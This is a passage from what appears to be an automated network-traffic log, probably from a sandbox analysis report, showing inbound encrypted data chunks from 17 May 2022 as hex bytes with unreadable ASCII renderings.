0e 81 9e c6 71 d5 19 4d e6 04 54 88 f7 44 8a 29 4f 4e 81 27 b1 a8 db 35 8f a9 a9 18 c4 54 55 12 0d 7a b3 b6 6d 88 a3 4a 39 6d 15 fc 05 b6 ae d6 29 40 89 04 38 a6 ff a8 24 b2 85 a8 5b 3f 54 7d 23 6d bb ad c9 b5 d3 eb 19 f6 dc c6 d3 06 0f Data Ascii: DP4b{1yZ]L8aUmUv{<bd;D.c4'sT8~P9'A!H9!S.HFfY0>jjwp0YT@]`2fe7i1qMTD)ON'5TUzmJ9m)@8$[?T}#m
2022-05-17 14:51:08 UTC	68	IN	Data Raw: 67 61 ad 70 ce 5a 43 03 ba ad 9e f7 aa 2e 1c d7 4d 41 e9 7d ac d4 8d 14 ce 65 bf f7 b5 48 a6 ed 00 02 cc ca 0b 12 2d 2f 27 85 17 37 30 f6 71 65 56 8d 04 68 56 1d 21 2e cf 13 6e 8d 37 0d f4 77 14 63 07 37 3d 50 f1 dc bb 34 16 4b 1e a3 32 14 b0 5b 61 1c 7c 6d 85 50 4d ba 2e 35 d3 5e 2b 20 db 05 e4 c1 0c 0b c0 40 0b ec 52 94 a4 cb 54 8b 9f 37 63 58 3f a5 5a 9a 77 06 cb e5 86 fc 79 e6 be 45 63 30 4b e4 30 80 eb 21 51 7d ca d8 ec 42 4f b7 7d 7f d5 4d 7d 27 28 43 2d d2 b8 25 fc bb e2 7b d2 19 82 48 51 dd 67 7f 4e c9 f8 4a 1a 5f f2 b8 f0 91 13 d8 34 7a a4 09 19 68 bf f4 3a 51 b3 95 34 22 f8 91 0c 8c 03 b1 2e b0 7c da c2 97 a9 60 05 d1 d1 bc 6a 7b 15 89 a9 0e db 70 1c 6b 74 d2 30 86 9a 93 96 f6 b4 8d 9c 99 5f be 1e ea 62 9a 18 9c dd f7 aa 06 45 ad 2d 45 6f 98 e1 Data Ascii: gapZC.MA}eH-/'70qeVhV!.n7wc7=P4K2[a\|mPM.5^+ @RT7cX?ZwyEc0K0!Q}BO}M}'(C-%{HQgNJ_4zh:Q4".\|`j{pkt0_bE-Eo
2022-05-17 14:51:08 UTC	69	IN	Data Raw: 77 90 44 17 99 a4 97 9e 2d e5 3c 5b 72 d3 dd c4 e6 70 c2 b7 e9 d2 17 ec b2 29 27 f7 ef 63 ff e3 41 34 5a 4b 3c 9f 51 ed 7c 8d 0f a8 c5 e9 df 8c 2c 26 71 b3 a3 70 98 f5 fd 35 89 f6 0e c5 8b 52 6b b9 96 a5 32 b8 df 01 d7 8d ad 82 db 87 da aa 78 74 a1 39 1c 38 da ef 68 c7 8c e8 bf ee 17 2f 7d 8d 96 b3 5e 16 58 78 79 16 e7 3b cb 2e 97 81 d4 a3 73 2a d1 ed 3a 49 a2 0f b9 e2 d7 f8 65 07 92 69 62 8b 25 39 c1 9a e0 5e 40 f6 b8 70 16 c0 53 39 67 ad 99 47 7e 42 f4 5e dc d3 e1 7a 69 f9 f5 f5 86 ea 42 67 18 ff 33 15 b6 2b 2f bb 1e 5e 30 b1 b7 82 70 e4 6a 63 19 99 03 3f d7 ce 93 e1 27 4e f6 12 52 11 50 6c 79 58 3b b7 79 2d 3b fe 1e ef d7 09 61 5c a2 d0 20 de b6 cf f2 2c 47 a3 ca 0f 5e 38 a1 2f aa 46 de 1b 38 cb a9 47 68 2f 76 fa 87 62 ad 67 ff a2 65 f9 66 0d 67 b5 29 Data Ascii: wD-<[rp)'cA4ZK<Q\|,&qp5Rk2xt98h/}^Xxy;.s*:Ieib%9^@pS9gG~B^ziBg3+/^0pjc?'NRPlyX;y-;a\ ,G^8/F8Gh/vbgefg)
2022-05-17 14:51:08 UTC	70	IN	Data Raw: 35 17 ef 20 18 11 66 48 39 8c a1 c4 6f 0b b6 a4 6a 18 4e 84 c7 d2 b3 41 c9 c5 05 6e 2e ea 79 2f 8b ad 10 28 f6 c1 7a 6b f6 7b f2 75 c7 45 d2 27 ba c4 f1 ad 1d 1e 86 4f cd 39 18 e1 f3 41 73 56 21 e6 16 82 b3 d2 c7 60 e1 58 80 25 9e 25 f3 3a de 60 93 63 c7 33 88 ec 8a 46 73 a8 c0 de 23 b1 f8 5f a7 a8 5f fc 23 6a 5a 4a 80 f9 ce 7a 52 0c af 36 f9 72 ee 7e e3 db 17 f5 31 47 24 c1 7b 93 7f 89 b2 5d 0c 55 e7 57 19 9c 6a 88 04 3b e4 5a 17 48 11 25 0e 8f be 11 ba 44 26 f6 a5 e6 98 bd be d3 1b 04 7e 5a 6a 35 d6 7b c7 f6 ae 0c 2c c0 c6 a9 1c 8d 1c 45 bc cc e5 f0 10 4a b6 01 76 29 92 37 f4 cb b0 33 34 ec 95 f4 fd cc 54 19 25 81 ad 8b 87 b9 90 ec 8d 78 7e b4 11 6e 78 3e 9f 8c 64 01 f8 64 c8 55 64 4d 2e 27 b4 18 35 bb 0e 7b 8a fb f3 5d f0 9d 5f 66 a5 bd 19 f0 59 f0 17 Data Ascii: 5 fH9ojNAn.y/(zk{uE'O9AsV!`X%%:`c3Fs#__#jZJzR6r~1G${]UWj;ZH%D&~Zj5{,EJv)734T%x~nx>ddUdM.'5{]_fY
2022-05-17 14:51:08 UTC	72	IN	Data Raw: 7a 69 ed ee e9 8f fd 44 67 35 f1 29 15 c4 01 1a b9 1c 3a 16 a6 bd aa 6d e9 7c 4e 1f bd 77 0c c0 c9 94 e6 3a 48 a5 22 45 0d 4e 76 0d 62 10 bf 7a 3b 3d f2 1c 9b f5 12 02 7c ac d4 0e db ae e1 f6 24 43 85 ce 00 69 2b bb 32 b0 2c ff 0d 2d d0 a3 52 6f 40 4c 93 a7 42 b3 08 c8 ae 7a e8 4d 01 24 83 0d ee 1a 96 e0 dd 6c 6b 74 ac 88 1e d3 9f 07 67 22 e2 d5 bf da 62 a1 73 91 6b 83 cc 7f e5 a6 f0 44 60 71 e7 3c 41 c5 10 5b 12 46 fd 84 ce c9 65 67 1a d4 1f 0e 35 b8 5a d3 68 61 18 0e 10 f5 d9 f0 ee c3 2f ac 5f 43 a1 db 2c b7 d2 3b 26 8e 4f e1 22 b8 79 46 c8 42 98 72 52 b7 be fc 1b 44 18 3d b7 14 7b a3 6e c0 9a ee 71 d4 df 6d 4d 60 b3 98 6f 44 61 7a fd 0b 48 a7 a8 af 03 f7 e5 94 01 38 5d 6d 4d 9a 79 30 e4 62 53 ea 17 f3 0b e5 48 fd 3e 0b bd 39 56 9f 2f 7c c5 7f 1a cc 30 Data Ascii: ziDg5):m\|Nw:H"ENvbz;=\|$Ci+2,-Ro@LBzM$lktg"bskD`q<A[Feg5Zha/_C,;&O"yFBrRD={nqmM`oDazH8]mMy0bSH>9V/\|0
2022-05-17 14:51:08 UTC	73	IN	Data Raw: c5 98 9f 89 f7 1c 17 38 69 4c 1b e0 5f f8 dc 8b 24 3b 86 e6 9e 19 ab 02 75 fc fd e1 c0 0d 5a ea 52 74 64 e6 7d a6 d4 d2 17 0e f7 c6 c1 eb e6 1c 12 10 8d f8 aa be a3 c7 d2 b0 75 6c 9a 42 35 17 1d e4 94 6a 2b d8 78 e9 52 54 71 00 3b b5 11 34 a2 22 2a a3 cf f7 5c e8 95 10 22 f6 ea 56 e4 7b cc 2e 18 8d a2 ef 1f dd 2e a2 51 95 86 64 35 2c 33 79 47 0b 82 f6 8a e0 d2 bd 29 25 40 8a 1f 44 72 db 1b ca c0 9e 8a fc a5 1e c5 34 ee b5 a6 a7 12 ba f7 af c7 85 89 e0 19 c0 06 97 2a 81 23 0e f9 3b 45 74 a1 88 9b ba d5 5c 8a e4 a8 ad 4f 8c 82 4c 67 3c 5d f6 9c 08 61 73 9d b2 8b be 40 f6 88 e1 ed 41 e9 b3 06 71 a1 9d 41 c8 c0 12 3f 5f 10 21 a1 52 f5 27 c4 21 dd 91 eb ef 83 36 5d 47 b3 8f 6b cc 82 ef 24 bf d5 26 f6 aa 7f 71 a7 b2 f9 25 8b e7 00 d5 b4 fb bd c2 d4 91 e4 51 78 Data Ascii: 8iL_$;uZRtd}ulB5j+xRTq;4"\"V{..Qd5,3yG)%@Dr4#;Et\OLg<]as@AqA?_!R'!6]Gk$&q%Qx
2022-05-17 14:51:08 UTC	74	IN	Data Raw: 77 19 cf d9 f8 e8 f4 7b fd 03 5c a6 c8 30 b6 fe 53 4f 8e 0a ea 16 ac 7c 05 d4 7c c4 54 7c 94 a4 c3 38 44 1d 2e 94 46 46 bc 57 f1 ce f4 71 de 90 61 7e 54 86 c3 6a 1c 23 20 b4 1f 4f f0 9b 82 3a f0 db c6 2f 10 58 7c 72 8f 4d 33 f8 26 5a c5 4a e9 53 ac 3a b7 60 3b 87 26 61 a3 0d 66 c5 53 79 de 27 54 58 48 24 aa 07 9b dd f4 42 3a 6d d1 2e 2f 36 7f 98 bd 64 0f 3e 5f 9a 39 d6 ef be 36 c9 92 6d 67 1e 2c d2 6e ef 79 53 54 84 01 9d fb 8b 33 22 87 67 e5 92 b7 e4 46 5d 0b 39 99 99 ee 52 34 9a 7c 38 d1 30 32 06 d8 02 85 81 62 78 04 fb 16 39 23 5d 4c 28 9b be e0 52 7f d8 f3 66 5f 19 be db c1 b0 45 ae d8 11 69 5d eb 11 0e ad ac 75 6b e2 8b 75 72 bd 27 9e 3f 9e 7b da 20 fe f2 d3 8b 3f 18 f5 40 c4 3f 32 d3 c3 71 4c 66 2e c5 37 b2 fc 96 95 26 bd 4d 9d 32 c1 34 ec 05 e6 48 Data Ascii: w{\0SO\|\|T\|8D.FFWqa~Tj# O:/X\|rM3&ZJS:`;&afSy'TXH$B:m./6d>_96mg,nyST3"gF]9R4\|802bx9#]L(Rf_Ei]ukur'?{ ?@?2qLf.7&M24H
2022-05-17 14:51:08 UTC	76	IN	Data Raw: 86 32 68 cd 24 45 33 ac 90 a7 fa fc 05 95 ea a7 fc 21 a5 82 24 11 75 3d 94 94 0e 66 53 f4 85 ec e5 5f d1 90 b2 c8 00 ff ae 1a 3e e9 9d 6b de d7 7c 44 33 0b 73 81 48 e1 49 95 53 ab e2 d7 e6 8a 36 3e 47 8e ee 26 8e f2 d5 21 97 f3 5f 96 db 0b 4b bd 86 b0 2f bf dd 11 fc 8d de bb fa 96 e1 ec 7e 26 cf 6c 44 3b fb ca 6c 99 a9 ae 82 ef 01 0e 46 96 c8 e3 62 09 43 56 50 36 f0 08 c1 38 af bd 81 ef 01 61 f3 cc 09 15 ab 4c da fd f0 e4 5c 2f a2 27 62 ea 24 27 cb 8b 94 3b 11 e8 ad 43 0f c8 75 0e 46 f2 d6 7f 6f 7f c4 55 9e f6 a0 5e 2b e8 ee f7 c8 ce 70 6a 16 a7 7e 12 cc 49 3e bc 40 0b 20 ad e5 a4 49 f2 6c 32 7c fb 4a 3a c0 ec 98 da 63 7b 81 26 16 35 4b 74 32 2b 21 98 2d 17 20 f0 55 d8 ce 12 4f 7f 8e 87 03 f6 a8 d0 ce 22 72 e0 d3 37 69 0a 93 74 ae 55 9a 5d 73 d3 bc 63 28 Data Ascii: 2h$E3!$u=fS_>k\|D3sHIS6>G&!_K/~&lD;lFbCVP68aL\/'b$';CuFoU^+pj~I>@ Il2\|J:c{&5Kt2+!- UO"r7itU]sc(
2022-05-17 14:51:08 UTC	77	IN	Data Raw: 9a b1 33 55 e9 3f 5b 9e 5d 23 0a df 00 e4 a9 45 04 1d e9 0c 0c 2e 59 0e 0f 86 89 f0 5d 35 9b 9f 33 6f 73 f0 a9 85 bd 02 9c bc 1d 70 6d ac 2e 2f 8d bb 26 2d b0 e5 61 6a c7 42 d5 57 f5 6c f6 28 fd e8 cf 86 17 1e 99 52 db 6e 1f d4 ee 41 5e 1c 22 c5 21 de c1 88 a8 74 f3 44 d6 00 ba 30 db 2b e1 48 c9 1c c7 58 d2 9f b7 70 45 8d 8c c8 6c e5 8c 19 e8 d9 73 cc 00 2a 60 44 a6 eb ea 40 6d 07 92 11 d3 01 da 75 a2 cc 1b c9 5a 62 34 a6 42 9b 58 80 f6 0c 10 77 f4 7b 25 f2 60 c9 33 2e b1 13 72 38 58 26 23 9a 91 5e ad 75 36 df a0 fa 9e bd 8e b7 25 21 3e 0e 31 34 f6 58 83 82 c0 49 7e b1 c8 bf 21 9b 5e 7c 91 f9 b8 ce 4a 62 9a 3d 24 0b d6 30 ae cf d6 02 60 bd f0 d7 86 d4 61 37 17 92 a0 a8 9c 86 a3 d8 96 42 23 9c 49 72 44 48 81 af 5f 25 88 36 ac 13 59 7a 0e 7e 87 26 32 fc 21 Data Ascii: 3U?[]#E.Y]53ospm./&-ajBWl(RnA^"!tD0+HXpEls*`D@muZb4BXw{%`3.r8X&#^u6%!>14XI~!^\|Jb=$0`a7B#IrDH_%6Yz~&2!
2022-05-17 14:51:08 UTC	78	IN	Data Raw: 74 0e e2 5e 7f 3e f7 de 49 33 27 a5 02 d9 de c4 47 5b 9e bf aa 95 bd 71 58 3f e7 03 00 e9 4c 2e b1 04 57 10 fe ee cf 3c bd 6e 6e 05 fc 00 0f e7 c3 89 e2 3b 0f bb 05 71 0a 7f 26 20 56 3c 99 56 3e 7a ae 07 a6 ec 0b 74 19 84 fc 0d d2 92 94 fb 72 75 bc d8 14 21 59 f1 7b b8 01 ab 36 7c db 90 66 79 6c 46 e5 b3 68 d0 61 fa ee 67 ca 46 19 7d ed 55 8d 4c d9 f8 f9 2c 34 6e b9 bb 1d 92 af 2f 27 04 c2 8f b6 93 02 8c 4f e6 43 a9 dd 33 fd a4 fe 41 58 49 c1 1b 5c d0 47 7b 11 6c ca 84 9b d6 41 29 72 b6 4e 18 38 bd 45 f0 53 64 4e 14 1f bf e4 e7 e8 f4 23 b8 6e 7c eb d6 0d a8 cf 5d 5d ba 17 c1 3a f7 78 07 90 73 ad 66 47 ad 9f e9 72 05 4f 76 de 53 23 a0 3c db ae bc 2a b8 8b 31 7d 4d b2 d5 7c 63 54 46 ed 01 70 d7 92 b1 54 a4 81 d6 59 25 49 4f 70 c8 4f 19 f2 3a 6b b7 3c c9 06 Data Ascii: t^>I3'G[qX?L.W<nn;q& V<V>ztru!Y{6\|fylFhagF}UL,4n/'OC3AXI\G{lA)rN8ESdN#n\|]]:xsfGrOvS#<*1}M\|cTFpTY%IOpO:k<
2022-05-17 14:51:08 UTC	79	IN	Data Raw: 3b c6 54 45 4e 2e 3c 25 99 ee 2c fe 0e 69 e2 9f c3 96 a8 b1 9b 6e 06 38 71 6c 16 ca 4a d7 db b7 2c 11 a2 a7 b4 29 96 20 4e 98 f9 ef e4 2f 40 9f 04 7e 36 af 33 f2 f5 f7 31 32 bd f0 d7 86 d4 68 1e 12 a1 9a ca a1 84 d9 c2 bb 50 4b b0 0b 3d 51 0e eb ad 71 13 88 36 ac 13 59 7a 63 28 e2 27 19 85 09 72 8b c8 ef 42 f4 9e 1b 45 cf a1 32 d0 57 ed 54 3a 86 fe f5 0e 8b 10 8e 48 d6 83 52 6d 1d 74 5d 5b 08 86 f6 d0 8a bb c9 34 7f 04 8d 3d 44 45 d7 36 f9 a0 b8 e2 a7 9b 32 80 5e ac fe b2 8a 17 eb a2 db 81 f9 b4 bc 0d d5 11 a3 45 a5 1f 46 c1 5b 47 02 93 99 98 93 f2 0f a7 ec de df 62 85 b6 52 7f 2c 54 dd d1 16 52 2e f7 db e3 d2 43 fd a5 f6 86 74 ae fb 31 78 cb e8 4d c6 f1 2b 36 02 59 3d b5 12 b3 5d a6 73 af e9 ab fe bc 7d 59 10 e3 f7 62 e3 d8 ee 32 ad d5 2e c1 88 43 4d 82 Data Ascii: ;TEN.<%,in8qlJ,) N/@~6312hPK=Qq6Yzc('rBE2WT:HRmt][4=DE62^EF[GbR,TR.Ct1xM+6Y=]s}Yb2.CM
2022-05-17 14:51:08 UTC	81	IN	Data Raw: b8 8c c0 50 73 4f a8 73 4a 67 bb 54 91 31 41 79 11 3a ce d4 b3 df de 39 b4 4b 6c e2 f3 7a 9d cd 4c 56 f7 7a 81 6d b0 6b 7e e5 58 92 49 7c 87 93 ff 01 5a 44 33 e7 3c 56 a0 2c c5 b2 cc 7e d1 e6 76 34 74 8e 96 57 79 74 46 c0 3d 08 ee ab 8c 2a f7 e7 93 3b 27 44 61 51 ba 23 68 80 41 3d e2 35 ee 02 e2 6f d6 10 06 e9 26 0b 95 32 6d e8 50 73 f3 1a 4a 71 50 5e d0 5e e0 89 fc 62 26 17 b4 56 6a 6d 60 aa a1 41 51 09 29 97 35 d8 ed ad 37 f3 ef 09 11 05 35 ff 45 a7 7a 43 11 dc 62 a4 d6 8c 2f 1e e4 54 d7 aa eb 8f 23 13 31 3a 9c ac e6 3b 33 d5 48 2b 93 33 45 55 c8 16 c5 86 63 41 3b e0 0b 27 51 30 6e 6e 8a 86 cc 5d 00 8f e1 1a 76 3f 97 ff fe c3 24 a2 b1 6b 39 25 af 37 5f 8a b6 33 03 e3 a4 63 56 b4 7b f5 74 e4 52 97 30 a2 c6 ca ae 21 42 85 79 f4 16 04 c1 db 45 48 38 2c bf Data Ascii: PsOsJgT1Ay:9KlzLVzmk~XI\|ZD3<V,~v4tWytF=*;'DaQ#hA=5o&2mPsJqP^^b&Vjm`AQ)575EzCb/T#1:;3H+3EUcA;'Q0nn]v?$k9%7_3cV{tR0!ByEH8,
2022-05-17 14:51:08 UTC	81	IN	Data Raw: cd 8b b4 f2 3c 5f 9e c8 35 5d 64 ef 46 ea 55 eb 35 2f ed b9 45 23 48 56 f7 d4 4c 99 51 df 94 64 af 7a 04 4e b7 51 c6 25 96 ef 9e 58 26 40 bf b9 57 95 a4 04 5a 09 e8 ee b1 ec 55 d9 20 f1 24 8b d2 65 e7 b4 f2 67 51 5d f7 13 66 83 1b 5e 2d 4c a1 91 80 b5 73 5e 10 c7 3f 5d 0d bb 40 e3 61 53 4e 77 02 f2 e2 d0 d7 9e 3e ea 7f 10 d2 9e 7e b4 f8 6b 0f a4 3c f4 04 ad 78 5c f4 25 89 69 62 ae a8 c8 3e 5a 2f 2a fa 42 7b 92 59 c2 99 bb 1a 9d b0 30 40 68 aa a4 5e 52 6e 6f b9 53 3b 84 c7 b7 1e cf c6 a6 21 1f 28 40 4c a9 6b 1b d7 27 4f ca 1c ef 56 b5 52 e5 6e 73 bc 33 41 a5 3c 45 9e 62 53 fa 3a 61 77 41 54 b5 10 b7 8c b0 3b 48 6d 9d 1e 61 72 5f 9e c8 6c 05 77 6f da 1f c1 f8 ae 3b c0 86 62 5a 15 29 cb 08 f9 62 5e 20 bf 75 c4 c0 a8 07 00 cd 46 d3 b1 b9 f8 51 4d 7d 6d d8 f5 Data Ascii: <_5]dFU5/E#HVLQdzNQ%X&@WZU $egQ]f^-Ls^?]@aSNw>~k<x\%ib>Z/*B{Y0@h^RnoS;!(@Lk'OVRns3A<EbS:awAT;Hmar_lwo;bZ)b^ uFQM}m
2022-05-17 14:51:08 UTC	83	IN	Data Raw: 95 4d 5e 51 0b b1 88 6e 31 c6 42 da 01 16 33 3e 19 ba 2c 7c c9 48 27 96 ba 8f 67 ec 9d 41 4b bf f0 0a c3 5c ea 79 2b b0 ff b5 3c d1 36 86 21 9d 92 65 6c 3c 12 4c 63 34 a8 92 b2 e3 d0 84 20 13 21 83 3c 16 36 bf 7e ce dc bb d8 f8 93 3b 8e 7d b9 eb b2 90 57 84 aa ef f1 b7 b3 be 32 f0 1c 96 0b f7 01 18 e6 39 67 21 b6 96 90 93 ee 14 ab da bc ff 5d fa f5 3a 11 04 59 ce bd 1e 59 7d f4 85 e1 e6 7a 81 83 c8 8b 1b df a0 07 01 ae e1 58 eb b1 07 0b 76 7f 00 8a 1a c1 53 a6 14 b3 f9 f6 ec a8 0a 13 2d c0 e9 2e c7 c4 e5 16 b7 dc 5c dc b7 51 5d b6 b7 a3 64 80 e5 24 f3 a8 e0 9e ec d3 c1 fa 03 7f b8 2d 0b 7c eb c5 66 d1 86 9a 99 f7 00 19 42 ce c4 d5 09 05 7f 41 39 0f c4 27 fc 7f 87 9b 82 fc 03 09 da b9 22 7d 94 31 dd f6 93 fd 76 25 c0 5f 57 89 7e 1d d5 b4 ee 73 6d df 99 05 Data Ascii: M^Qn1B3>,\|H'gAK\y+<6!el<Lc4 !<6~;}W29g!]:YY}zXvS-.\Q]d$-\|fBA9'"}1v%_W~sm
2022-05-17 14:51:08 UTC	84	IN	Data Raw: c9 af ad 38 d6 c2 bd 05 54 33 31 52 8b 27 1c e7 01 48 e4 34 e6 27 c7 52 a0 1a 10 bd 6a 6a df 32 6b e7 66 49 e5 65 7d 5b 6e 55 da 3f 9b c3 cb 75 2f 33 88 46 5c 3d 3d 85 b6 60 04 03 55 84 7c f0 d1 b7 23 eb ad 0b 61 02 01 93 09 fe 08 2a 58 9b 77 c7 df d9 45 72 fb 68 ca b4 98 fb 54 54 28 3a b4 bb e2 07 4f e2 47 06 eb 2f 54 64 d9 3d f4 98 13 44 6c de 70 3e 00 45 59 37 da f4 e0 35 23 b7 bf 3c 16 20 80 cf c9 c4 16 88 b5 29 5d 4e a8 00 66 c6 e4 31 6a c5 a3 5c 60 b3 55 d0 55 c8 6f d8 75 8f c2 f4 a7 16 27 93 5e 9e 03 1e e7 ce 71 74 63 50 d0 40 da 89 fe f0 64 e7 7b a8 61 d3 22 e2 11 dc 43 95 3b e2 44 e0 de b0 4d 5a 95 88 dc 1b b9 fb 71 9b a8 3f ae 3f 5c 7c 6d 84 cd e6 51 6b 2d f1 61 c8 1b df 63 df ce 47 d7 5b 65 34 b6 0a 8d 71 9f 8d 7f 3c 12 e2 48 43 ee 46 9f 38 34 Data Ascii: 8T31R'H4'Rjj2kfIe}[nU?u/3F\==`U\|#a*XwErhTT(:OG/Td=Dlp>EY75#< )]Nf1j\`UUou'^qtcP@d{a"C;DMZq??\\|mQk-acG[e4q<HCF84
2022-05-17 14:51:08 UTC	85	IN	Data Raw: fd d1 f2 a4 11 50 4f f6 ab 7d f1 d6 d9 06 b2 f6 37 e5 99 49 4a bb a2 b1 78 a8 d5 5f b2 dd 90 a6 dd 8e f2 e4 64 51 a9 02 1b 0f d8 e5 35 c3 b9 8a b7 e8 1b 1c 5e b7 cf b8 42 00 7a 5d 73 5a a2 64 c7 09 81 8c ff c8 68 04 f5 dc 24 18 c7 5e d7 f6 ee c5 46 27 a0 45 29 90 06 20 ed b1 a7 6d 62 f5 9f 00 23 9a 73 2c 35 fc 99 2b 33 56 be 6c e1 f9 d7 6a 07 9d d0 f5 b8 b6 73 70 06 f3 01 3f 8f 0c 21 8b 4d 07 51 e0 ee be 59 f6 3b 7e 2b b1 11 7e 92 f3 b2 c1 1d 58 83 18 69 4b 7a 2c 1e 5a 69 e7 09 7b 72 ea 0e 8d e0 34 64 59 94 c1 0a de af 8e d2 08 66 a4 fd 3a 28 6f e0 2f b9 29 a2 26 11 d6 be 11 74 60 0d de bc 70 b3 5b de e7 40 c3 69 51 0a f3 55 fc 3b dd fa c6 72 72 71 ab 9b 06 e9 ba 3a 5d 3b ea e8 9e 8c 61 b4 47 ef 24 fa 9f 36 fb b2 d2 67 7d 21 cd 2f 73 f3 19 7b 34 68 df a9 Data Ascii: PO}7IJx_dQ5^Bz]sZdh$^F'E) mb#s,5+3Vljsp?!MQY;~+~XiKz,Zi{r4dYf:(o/)&t`p[@iQU;rrq:];aG$6g}!/s{4h
2022-05-17 14:51:08 UTC	86	IN	Data Raw: e1 66 90 20 a2 92 b4 b3 27 45 8b 54 f7 38 18 dc d3 49 74 02 29 ba 1b de c1 88 a8 74 c8 69 d1 24 aa 15 c0 71 e8 50 a9 34 aa 31 d9 e6 da 64 42 9d c1 dd 3f b1 c8 5d 99 cb 4b d5 22 6e 19 6c 9e e2 fd 22 6c 0f 92 05 dd 4f bd 24 ad de 3a a0 59 5a 3a a3 7a 90 5f cf af 08 0b 10 f4 5e 4f cf 62 bd 37 30 b8 13 72 38 58 26 2c ad 8a 5d c7 6b 22 fa 91 d1 85 b9 f7 a3 2d 3a 56 7c 31 17 df 6e f2 8c f4 3c 1c f6 db be 3a e6 18 63 8e e6 b2 dd 16 65 ac 21 74 64 e6 7d a6 d4 f4 01 02 b4 a2 a4 d9 eb 1c 25 09 b7 b7 a5 87 9c c2 d8 86 6e 69 97 2a 3e 62 5f 81 b2 7f 0e fd 60 cd 6a 0b 41 06 28 a4 0d 02 8a 18 27 e7 d8 83 49 aa b7 64 53 ce 87 53 c3 6f fa 7b 17 9d a3 be 7d f7 70 9f 50 97 a3 6e 55 2d 22 59 69 3b 93 ee bf d8 ef 92 08 2c 3b 89 0c 6f 72 ef 7e bf b3 cc ca d7 b5 4c bb 7c b5 cd Data Ascii: f 'ET8It)ti$qP41dB?]K"nl"lO$:YZ:z_^Ob70r8X&,]k"-:V\|1n<:ce!td}%ni*>b_`jA('IdSSo{}pPnU-"Yi;,;or~L\|
2022-05-17 14:51:08 UTC	88	IN	Data Raw: 23 64 b8 59 12 38 d0 5b a2 f2 29 71 5f a8 cd 24 8b f6 ad c1 76 6e 95 fa 25 5a 15 b5 2b 8b 0a ae 0d 03 ce 93 6b 6b 48 03 93 c0 3a 91 42 ef a4 42 ff 1f 0f 69 bf 3d b5 05 b6 fb fb 58 02 7d 89 80 06 e6 cd 5d 15 60 af cc b5 83 56 90 48 a0 6c 8d c5 79 e1 9b ed 70 72 4f e5 17 61 8e 29 5a 46 1f 98 d5 f3 f0 73 47 03 d9 20 39 1f bf 7e 9f 6c 46 61 73 20 c8 c5 f5 d2 95 49 87 54 7d bd d9 20 89 ce 4e 1a ae 3d 86 1f ae 6d 5d dd 66 be 36 14 e3 dd ba 76 47 02 20 b8 2f 5a a8 2f cb 8c ff 35 84 aa 26 6d 6d 95 c5 5a 66 56 42 b4 53 3b 84 c7 b7 1c fd f6 b2 01 11 7a 46 67 ae 5c 6c f0 16 24 cc 11 ae 37 de 5d f7 6e 7a 8b 09 74 82 77 6a e4 55 77 fb 3e 5d 79 13 53 a2 09 ac d3 b0 3b 48 6d 9d 7c 42 60 45 9c a6 61 7b 0a 78 b1 13 eb b9 8e 00 fe a6 01 7f 1d 34 97 0c 95 2b 34 14 b8 72 b0 Data Ascii: #dY8[)q_$vn%Z+kkH:BBi=X}]`VHlyprOa)ZFsG 9~lFas IT} N=m]f6vG /Z/5&mmZfVBS;zFg\l$7]nztwjUw>]yS;Hm\|B`Ea{x4+4r
2022-05-17 14:51:08 UTC	89	IN	Data Raw: b7 f6 9d 6c 1e 13 df f3 ee d7 f7 e1 8e 9d 41 2c 9c 26 4d 4e 71 b5 dd 46 1e 81 78 e6 7c 23 5a 16 7d a6 76 7c c9 48 27 96 9d ee 5e ad c1 5f 75 bc 9f 2c d3 53 d1 63 37 87 e8 b1 33 f7 15 bc 2a da d9 04 38 2a 27 55 67 0a bb c5 da fa f0 8d 70 25 01 e3 31 6a 4c f4 08 8c e6 b3 8c a5 a4 36 a2 67 bb e0 9c a9 53 94 eb 9c e9 b5 9a f3 38 d2 30 c4 61 e4 56 5b 95 1e 7c 74 9e b7 a5 a7 86 16 97 ca 84 d4 5d 8a bc 70 49 18 5d ce d8 42 34 3f 9d c3 fa fb 63 86 a6 cf dc 4c d9 9e 78 27 d4 89 4d fc e3 2e 0f 5a 72 1f cd 1f 82 39 c4 50 cc c2 aa dd 9a 36 5d 5f b0 b9 61 fb c6 f5 13 b0 c9 25 cb 8e 7c 73 ea f8 c0 63 f3 c7 1a fa ce db 92 d0 d2 91 f9 6f 7f 8a 23 13 3b cb a2 50 98 ba df 98 f1 17 64 26 aa cb 81 4f 62 4c 50 4f 06 d4 33 e0 08 d5 b7 e7 cc 0d 45 9f a0 22 51 bf 1c 9a bf dd cd Data Ascii: lA,&MNqFx\|#Z}v\|H'^_u,Sc738'Ugp%1jL6gS80aV[\|t]pI]B4?cLx'M.Zr9P6]_a%\|sco#;Pd&ObLPO3E"Q
2022-05-17 14:51:08 UTC	90	IN	Data Raw: e2 04 8e 90 39 4b 69 94 84 73 58 70 3a ee 5d 5d f7 ab fb 54 99 a2 c8 15 1f 68 40 15 90 4f 34 d5 1b 42 cc 4c f4 27 d6 09 f9 0c 1f 96 11 4e d0 7b 08 8e 2f 6b dc 32 40 79 51 50 bc 0b f7 d7 c8 42 53 1d db 46 7d 7d 40 81 bc 67 7b 37 74 94 68 df f7 a6 0f d7 8f 4a 66 6f 24 9f 7b df 42 5e 16 d7 31 d0 87 98 2a 0e fc 47 a6 d3 80 f5 57 5d 3a 29 ab ec 9d 36 66 f6 7d 28 cc 6e 61 5c f1 09 99 b8 42 79 2e e4 0d 21 12 6c 0a 07 bd bf 93 07 29 e5 d0 78 13 3f fc eb d6 e5 3d 8e d9 3a 6c 6b 8b 3f 09 bd 89 2d 1e b2 b0 06 35 c1 27 a3 1c 80 37 d3 01 83 fd b5 b5 08 31 b7 5d e2 1d 24 ac d1 6c 4d 24 29 d8 13 ac 80 96 a8 05 a3 01 94 36 cc 3c d2 7f e1 37 b2 7e f6 14 da 9f 94 1b 68 af ce cc 66 e1 fb 07 e8 a8 3f ae 3f 59 69 0b c4 e6 e1 7e 69 2d a6 0b c8 30 d5 37 d8 df 44 ed 46 3a 1c d2 Data Ascii: 9KisXp:]]Th@O4BL'N{/k2@yQPBSF}}@g{7thJfo${B^1*GW]:)6f}(na\By.!l)x?=:lk?-5'71]$lM$)6<7~hf??Yi~i-07DF:
